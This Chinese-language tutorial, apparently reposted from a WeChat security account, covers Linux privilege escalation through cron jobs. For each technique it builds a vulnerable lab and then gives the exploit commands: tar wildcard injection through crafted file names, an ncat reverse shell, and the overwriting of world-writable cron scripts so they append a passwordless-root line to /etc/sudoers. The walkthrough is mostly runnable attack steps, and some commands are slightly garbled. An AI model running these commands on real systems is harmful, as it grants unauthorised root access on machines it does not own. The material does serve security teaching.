1、简介
Cron词来自Crontab,存在于/etc 目录中。Cron任务用于通过在服务器上的特定日期和时间执行命令来调度任务。最常用于系统管理员作业,例如备份或清理 /tmp/目录等。
2、Cron语法配置
可以参考网上在线编写计划任务:https://tool.lu/crontab/
示例:在 crontab 中,每隔1小时自动打印一次 apache 错误日志
1 0 * * * printf "" > /var/log/apache/error_log
3、Sudo提权方法
3.1、Tar通配符注入
1. 部署漏洞环境
1.使用root身份创建计划任务
crontab -e
*/01 * * * * cd /var/log/monitor && tar -zcf /tmp/monitor.tar.gz *
2.创建本地文件
rpm -vhU https://nmap.org/dist/ncat-7.92-1.x86_64.rpm
mkdir /var/log/monitor
chmod o+w /var/log/monitor
echo "11" > 1
echo "22" > 2
echo "33" > 3
3.查看tmp目录文件
查看/tmp目录中每分钟创建一个文件
4.创建普通用户
useradd test
passwd test
2 漏洞利用
1.普通用户登录
查看普通用户登录后,显示目录中文件时间会变动
2.解压文件查看内容
tar -zxvf monitor.tar.gz
3.通过find进行文件查找
find / -name 2 2>/dev/null
4.进入目录创建文件测试
cd /var/log/monitor/
echo "666" > 6
5.重新解压新版本压缩包
已经显示有创建好的文件在压缩包中
6.执行bash脚本
printf '#! /bin/bashnncat -e /bin/bash 127.0.0.1 1234' > shell.sh
touch -- '--checkpoint-action=exec=sh shell.sh'
touch -- '--checkpoint=1'
ncat -nlvp 1234
3.2、Sudo权限任务
1.环境部署
1.添加账号
useradd test
passwd test
2.配置sudo
vim /etc/sudoers
test ALL=(root) NOPASSWD: /ect/init.d/cron
test ALL=(root) NOPASSWD: /etc/init.d/postfix
3.配置计划任务
*/01 * * * * /bin/sh /opt/exec.sh
4.配置目录权限
chmod o+w /opt/
2.提权操作
1.查看计划任务
cat /var/spool/mail/root
查看文件
2.创建执行计划
printf '#! /bin/bashnecho "test ALL=NOPASSWD:ALL" >> /etc/sudoers' > /opt/exec.sh
3.查看sudo授权
sudo -l
4.sudo提权
sudo /bin/bash
3.3、计划任务文件可写入
1.靶场部署
1. 添加账号
useradd test
passwd test
2. 配置sudo
vim /etc/sudoers
test ALL=(root) NOPASSWD: /ect/init.d/cron
3.配置计划任务
以root身份配置计划任务
*/01 * * * * /bin/sh /usr/local/share/copy.sh
4.编辑配置文件
vim /usr/local/share/copy.sh
#!/bin/bash
cp /home/test/message /tmp/message
chmod 644 /tmp/message
5.配置message文件
chmod o+w /usr/local/share/copy.sh
echo 'Hey!! you are not root :(' > /home/test/message
chmod 600 /home/test/message
2、提权方法
1.查看本地文件
cat message
2.查看tmp目录文件
3. 查找文件
grep -nr '/tmp/message' /etc 2>/dev/null
grep -nr '/tmp/message' /bin 2>/dev/null
grep -nr '/tmp/message' /usr 2>/dev/null
4. 查看配置文件
cat /usr/local/share/copy.sh
5. 查看当前权限
6. 重复写入内容
printf '#! /bin/bashnecho "test ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
7. 执行命令
sudo /bin/bash
3.4、计划任务文件覆盖
1.靶场部署
在 crontab 的帮助下设置一个新作业来运行一个 python 脚本,该脚本将删除特定目录中的所有数据。
1.在home目录创建文件
cd /home
mkdir cleanup
cd cleanup
echo "hello friends" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo > 1.php
echo > 2.php
2.在tmp目录中创建清理脚本
vim /tmp/cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /home/cleanup/* ')
except:
sys.exit()
3.创建计划任务
chmod 777 /tmp/cleanup.py
crontab -e -u root
*/1 * * * * /tmp/cleanup.py
每分钟清理文件
查看已经执行完毕
2.提权方法
1.查看计划任务
cat /var/spool/cron/*
2.查看cleanup.py文件
cat /tmp/cleanup.py
3.使用编辑器修改执行命令
修改os.system执行命令方法为dash
4.等待一分钟测试
bash -p
原文始发于微信公众号(安全孺子牛):Linux提权-Cron计划任务提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论